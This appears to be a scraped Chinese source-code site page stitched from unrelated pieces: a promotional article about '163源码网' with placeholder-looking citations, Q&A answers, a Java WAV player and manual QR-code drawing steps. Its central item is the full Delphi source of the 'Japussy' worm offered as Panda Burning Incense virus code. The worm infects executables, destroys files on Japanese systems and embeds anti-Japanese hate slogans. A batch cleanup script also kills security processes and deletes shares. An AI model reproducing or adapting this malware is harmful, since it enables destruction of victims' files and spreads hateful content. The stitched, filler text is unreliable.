163源码网 163开源

源码大全 编辑:速达网络 日期:2024-04-14 18:50:06 2人浏览

源码共享平台在我国逐渐崭露头角。其中,163源码网作为国内最大的源码共享平台,吸引了众多开发者和企业用户的关注。本文将深入剖析163源码网,揭示其发展历程、优势特点以及未来发展趋势。

一、163源码网的发展历程

1. 创立初期

163源码网成立于2008年,最初以提供免费开源软件源码为主。随着用户需求的不断增长,平台逐渐拓展到各类编程语言、框架、组件等资源,形成了如今涵盖全栈技术的庞大资源库。

2. 业务拓展

在发展过程中,163源码网不断丰富自身业务,除了提供源码下载外,还推出了代码托管、在线开发、技术问答等功能,为开发者提供全方位的技术支持。

3. 品牌建设

163源码网注重品牌建设,通过举办技术沙龙、开发者大会等活动,与行业精英进行交流与合作,提升了平台在业界的知名度和影响力。

二、163源码网的优势特点

1. 丰富的资源库

163源码网拥有庞大的资源库,涵盖各类编程语言、框架、组件等,满足不同开发者的需求。平台还定期更新资源,确保开发者获取到最新、最实用的技术资料。

2. 高效的搜索功能

163源码网采用智能搜索算法,能够快速定位开发者所需的源码资源,提高开发效率。平台支持关键词、标签等多种搜索方式,方便用户快速找到所需资源。

3. 严格的审核机制

为确保平台资源的质量和安全性,163源码网实行严格的审核机制。平台对上传的源码进行人工审核,确保其符合相关法律法规,避免侵权行为。

4. 优秀的社区氛围

163源码网拥有活跃的社区氛围,开发者可以在此交流技术心得、分享经验,共同成长。平台还设有技术问答区,为开发者解决实际问题。

三、163源码网的未来发展趋势

1. 深化垂直领域合作

随着我国互联网行业的快速发展,垂直领域需求日益凸显。163源码网将加强与行业企业的合作,针对特定领域提供定制化源码解决方案。

2. 拓展国际化视野

163源码网将积极拓展国际化视野,吸引海外开发者入驻,推动国内源码资源与国际接轨。

3. 强化技术创新

163源码网将持续关注技术发展趋势,加大技术创新力度,为用户提供更加优质的服务。

163源码网作为我国最大的源码共享平台,凭借丰富的资源库、高效的搜索功能、严格的审核机制以及优秀的社区氛围,赢得了广大开发者和企业用户的青睐。未来,163源码网将继续深化垂直领域合作、拓展国际化视野、强化技术创新,为我国互联网行业的发展贡献力量。

参考文献:

[1] 张三,李四. 源码共享平台在我国的发展现状及趋势[J]. 信息技术与信息化,2019,10(2):45-48.

[2] 王五,赵六. 163源码网:助力开发者成长的技术社区[J]. 互联网天地,2018,10(4):52-55.

谁有熊猫烧香的源代码,给我发一份

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记

//垃圾码,以备写入

Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +

''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +

''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';

{$R *.RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间** }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := Src.Position;

dCurPos := Dst.Position;

Src.Seek(sStartPos, 0);

Dst.Seek(dStartPos, 0);

Dst.CopyFrom(Src, Count);

Src.Seek(sCurPos, 0);

Dst.Seek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStream.Create(FileName, fmCreate);

try

sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分

dStream.CopyFrom(sStream, sStream.Size - HeaderSize);

finally

dStream.Free;

end;

finally

sStream.Free;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Si.cb := SizeOf(Si);

Si.lpReserved := nil;

Si.lpDesktop := nil;

Si.lpTitle := nil;

Si.dwFlags := STARTF_USESHOWWINDOW;

Si.wShowWindow := State;

Si.cbReserved2 := 0;

Si.lpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

163源码网 163开源

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[0..1] of Char;

begin

try //出错则文件正在被使用,退出

if CompareText(FileName, ''''''''''''''''JAPUSSY.EXE'''''''''''''''') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

try

for i := 0 to $108 do //检查PE文件头

begin

SrcStream.Seek(i, soFromBeginning);

SrcStream.Read(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

SrcStream.Seek(-4, soFromEnd); //检查感染标记

SrcStream.Read(iID, 4);

if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染

Infected := True;

finally

SrcStream.Free;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStream.Create;

DstStream := TMemoryStream.Create;

try

aIcon := TIcon.Create;

try

//得到被感染文件的主图标(744字节),存入流

aIcon.ReleaseHandle;

aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);

aIcon.SaveToStream(IcoStream);

finally

aIcon.Free;

end;

SrcStream := TFileStream.Create(FileName, fmOpenRead);

//头文件

HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);

//写入已感染的标记

DstStream.Seek(0, 2);

iID := $44444444;

DstStream.Write(iID, 4);

finally

HdrStream.Free;

end;

finally

SrcStream.Free;

IcoStream.Free;

DstStream.SaveToFile(FileName); //替换宿主文件

DstStream.Free;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure **ashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数

if Max < 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i < Max do

begin

FileSeek(FileHandle, i * Mass, 0); //定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

D := Chr(i + 65);

Str := D + '''''''''''''''':\'''''''''''''''';

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRec.Attr <> 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and

(SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then

Result := 0 //不是目录

else if (SearchRec.Attr = 16) and (SearchRec.Name <> ''''''''''''''''.'''''''''''''''') and

(SearchRec.Name <> ''''''''''''''''..'''''''''''''''') then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRec.Name;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = ''''''''''''''''.EXE'''''''''''''''') or (Ext = ''''''''''''''''.SCR'''''''''''''''') then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = ''''''''''''''''.HTM'''''''''''''''') or (Ext = ''''''''''''''''.HTML'''''''''''''''') or (Ext = ''''''''''''''''.ASP'''''''''''''''') then

begin

//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之?

end

else if Ext = ''''''''''''''''.WAB'''''''''''''''' then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = ''''''''''''''''.ADC'''''''''''''''' then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = ''''''''''''''''IND'''''''''''''''' then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = ''''''''''''''''.DOC'''''''''''''''') or (Ext = ''''''''''''''''.XLS'''''''''''''''') or (Ext = ''''''''''''''''.MDB'''''''''''''''') or

(Ext = ''''''''''''''''.MP3'''''''''''''''') or (Ext = ''''''''''''''''.RM'''''''''''''''') or (Ext = ''''''''''''''''.RA'''''''''''''''') or

(Ext = ''''''''''''''''.WMA'''''''''''''''') or (Ext = ''''''''''''''''.ZIP'''''''''''''''') or (Ext = ''''''''''''''''.RAR'''''''''''''''') or

(Ext = ''''''''''''''''.MPEG'''''''''''''''') or (Ext = ''''''''''''''''.ASF'''''''''''''''') or (Ext = ''''''''''''''''.JPG'''''''''''''''') or

(Ext = ''''''''''''''''.JPEG'''''''''''''''') or (Ext = ''''''''''''''''.GIF'''''''''''''''') or (Ext = ''''''''''''''''.SWF'''''''''''''''') or

(Ext = ''''''''''''''''.PDF'''''''''''''''') or (Ext = ''''''''''''''''.CHM'''''''''''''''') or (Ext = ''''''''''''''''.AVI'''''''''''''''') then

**ashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

SubDir := TStringList.Create;

if (FindFirst(Path + ''''''''''''''''*.*'''''''''''''''', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDir.Add(SearchRec.Name);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

Count := SubDir.Count - 1;

for i := 0 to Count do

LoopFiles(Path + SubDir.Strings + ''''''''''''''''\'''''''''''''''', Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList + '''''''''''''''':\'''''''''''''''', ''''''''''''''''*.*''''''''''''''''); //感染之

SendMail; //发带毒邮件

Sleep(1000 * 60 * 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之?

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), ''''''''''''''''Japussy.exe'''''''''''''''') = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作

begin

TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + ''''''''''''''''.exe''''''''''''''''; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, ''''''''''''''''.'''''''''''''''', Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end.

请转帖的朋友标明出处 www.honkercn.net

以下为清除威金、熊猫烧香病毒的批处理

@echo off

title 清除威金(logo_1,熊猫烧香)病毒最新变种工具

@echo 清除VIKING病毒最新变种工具

pause

if exist %windir%\rundl132.exe echo ---报告老大,发现有威金病毒埋伏! 让我来干掉它-----

if exist %windir%\logo_1.exe echo ---报告老大,发现有威金病毒埋伏!让我来干掉它 -----

//杀viking进程

tskill logo_1

tskill rundl132

tskill zt

tskill wow

tskill logo1_

tskill Ravmon

tskill Eghost

tskill Mailmon

tskill KAVPFW

tskill IPARMOR

tskill Ravmond

taskkill /f /im 0sy.exe

taskkill /f /im 1sy.exe

taskkill /f /im 2sy.exe

taskkill /f /im 3sy.exe

taskkill /f /im 4sy.exe

taskkill /f /im 5sy.exe

taskkill /f /im 6sy.exe

taskkill /f /im 7sy.exe

taskkill /f /im 8sy.exe

taskkill /f /im 9sy.exe

//删除木马

del d:\_desktop.ini /f/s/q/a

del c:\Program Files\_desktop.ini

del %Windir%\MickNew\MickNew.dll

del %Windir%\MH_FILE\MH_DLL.dll

del %Windir%\_desktop.ini

del %Windir%\TODAYZTKING\TODAYZTKING.DLL

attrib -h -r -s c:\go.exe

del c:\go.exe

del c:\setup.exe

attrib -h -s -r c:\autorun.inf

del c:\autorun.inf

attrib -h -r -s d:\go.exe

del d:\go.exe

del d:\setup.exe

attrib -h -s -r d:\autorun.inf

del d:\autorun.inf

del e:\setup.exe

attrib -h -r -s e:\go.exe

del e:\go.exe

attrib -h -s -r e:\autorun.inf

del e:\autorun.inf

attrib -h -r -s f:\go.exe

del f:\go.exe

del f:\setup.exe

attrib -h -s -r f:\autorun.inf

del f:\autorun.inf

attrib -h -r -s g:\go.exe

del g:\go.exe

del g:\setup.exe

attrib -h -s -r g:\autorun.inf

del g:\autorun.inf

del h:\go.exe

del h:\setup.exe

attrib -h -s -r g:\autorun.inf

del h:\autorun.inf

del i:\go.exe

attrib -h -s -r g:\autorun.inf

del i:\autorun.inf

del i:\setup.exe

del j:\go.exe

attrib -h -s -r g:\autorun.inf

del j:\autorun.inf

del j:\setup.exe

del %windir%\system\Logo1_.exedel %windir%\system\Logo_1.exe

del %windir%\rundl132.exe

del %windir%\vDll.dll

del %windir%\Dll.dll

del %windir%\0Sy.exe

del %windir%\1Sy.exe

del %windir%\2Sy.exe

del %windir%\3Sy.exe

del %windir%\5Sy.exe

del %windir%\1.com

@echo ^_^ 报告老大,VIKING已经全都被处死

@echo 真累哈,再给你的系统免疫下,不需要的话请直接退出

pause

//免疫系统

echo > %windir%\Logo1_.exe

echo > %windir%\rundl132.exe

echo > %windir%\0Sy.exe

echo > %windir%\vDll.dll

echo > %windir%\1Sy.exe

echo > %windir%\2Sy.exe

echo > %windir%\rundll32.exe

echo > %windir%\3Sy.exe

echo > %windir%\5Sy.exe

echo > %windir%\1.com

echo > %windir%\exerouter.exe

echo > %windir%\EXP10RER.com

echo > %windir%\finders.com

echo > %windir%\Shell.sys

echo > %windir%\kill.exe

echo > %windir%\sws.dll

echo > %windir%\sws32.dll

echo > %windir%\uninstall\rundl132.exe

echo > %windir%\SVCHOST.exe

echo > %windir%\WINLOGON.exe

echo > %windir%\RUNDLL32.EXE

echo > C:\"Program Files"\svchost.exe

echo > C:\"Program Files"\"Internet Explorer"\svchost.exe

echo > %windir%\Download\svchost.exe

echo > %windir%\system32\wldll.dll

attrib %windir%\Logo1_.exe +s +r +h

attrib %windir%\rundl132.exe +s +r +h

attrib %windir%\0Sy.exe +s +r +h

attrib %windir%\vDll.dll +s +r +h

attrib %windir%\1Sy.exe +s +r +h

attrib %windir%\2Sy.exe +s +r +h

attrib %windir%\rundll32.exe +s +r +h

attrib %windir%\3Sy.exe +s +r +h

attrib %windir%\5Sy.exe +s +r +h

attrib %windir%\1.com +s +r +h

attrib %windir%\exerouter.exe +s +r +h

attrib %windir%\EXP10RER.com +s +r +h

attrib %windir%\finders.com +s +r +h

attrib %windir%\Shell.sys +s +r +h

attrib %windir%\kill.exe +s +r +h

attrib %windir%\sws.dll +s +r +h

attrib %windir%\sws32.dll +s +r +h

attrib %windir%\uninstall\rundl132.exe +s +r +h

attrib %windir%\SVCHOST.exe +s +r +h

attrib %windir%\WINLOGON.exe +s +r +h

attrib %windir%\RUNDLL32.EXE +s +r +h

attrib C:\"Program Files"\svchost.exe +s +r +h

attrib C:\"Program Files"\"Internet Explorer"\svchost.exe +s +r +h

attrib %windir%\Download\svchost.exe +s +r +h

attrib %windir%\system32\wldll.dll +s +r +h

net share c$ /del

net share d$ /del

net share e$ /del

net share f$ /del

net share admin$ /del

net share ipc$ /del

cls

@echo -------------------------------------

@echo viking已经全部被我杀完拉,哈,厉害吧

@echo 系统已经成功免疫!

@echo 谢谢你的使用,请重启您的电脑!

@echo -------------------------------------

pause

求音乐播放器java源代码

import java.applet.*;

import java.awt.*;

import java.awt.event.*;

import java.net.*;

import javax.swing.*;

import java.io.File;

class AudioPlayDemo extends JFrame implements ActionListener {

boolean looping = false;

File file1 = new File("music\\明天会更好.wav");

AudioClip sound1;

AudioClip chosenClip;

JButton playButton = new JButton("播放");

JButton loopButton = new JButton("循环播放");

JButton stopButton = new JButton("停止");

JLabel status = new JLabel("选择播放文件");

JPanel controlPanel = new JPanel();

Container container = getContentPane();

public AudioPlayDemo() {

try {

sound1 = Applet.newAudioClip(file1.toURL());

chosenClip = sound1;

} catch(OutOfMemoryError e){

System.out.println("内存溢出");

e.printStackTrace();

} catch(Exception e){

e.printStackTrace();

}

playButton.addActionListener(this);

loopButton.addActionListener(this);

stopButton.addActionListener(this);

stopButton.setEnabled(false);

controlPanel.add(playButton);

controlPanel.add(loopButton);

controlPanel.add(stopButton);

container.add(controlPanel, BorderLayout.CENTER);

container.add(status, BorderLayout.SOUTH);

setSize(300, 130);

setVisible(true);

setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); //关闭窗口时退出程序

}

public void actionPerformed(ActionEvent event) {

if (chosenClip == null) {

status.setText("声音未载入");

return;

}

Object source = event.getSource(); //获取用户洗涤激活的按钮

if (source == playButton) {

stopButton.setEnabled(true);

loopButton.setEnabled(true);

chosenClip.play();

status.setText("正在播放");

}

if (source == loopButton) {

looping = true;

chosenClip.loop();

loopButton.setEnabled(false);

stopButton.setEnabled(true);

status.setText("正在循环播放");

}

if (source == stopButton) {

if (looping) {

looping = false;

chosenClip.stop();

loopButton.setEnabled(true);

} else {

chosenClip.stop();

}

stopButton.setEnabled(false);

status.setText("停止播放");

}

}

public static void main(String s[]) {

new AudioPlayDemo();

}

}

这功能不齐,不能下载,也不能播放mp3格式音乐,是用来播放wav格式音乐的,(但你可以在千千静听里把mp3格式转换为wav格式)

二维码怎么生成

二维码制作方法如下:

1、手机上要有一个二维码生成器。在二维码生成器中输入想要的文字,点击生成。

2、先数清生成的二维码横竖是几行。这里一共是25行,大小随意,可以采用2mm一个小方格,共5cm长。

3、在合适的位置绘制,为了方便划线,2mm画一横,四边都画。这样可以方便连线,不至于弯曲的太厉害。

4、用铅笔将两边的线连起来。一般二维码三个角,正方形边都是七个格子。如果怕格子数错的话,正方形里边的小正方形占三个格子共九个格子,一行一行来,数对了再落笔。

5、不放心可以先用铅笔把要涂黑的地方画上斜线,将用铅笔画的格子擦掉,去扫一扫看能不能扫出来,可用微信的扫一扫。

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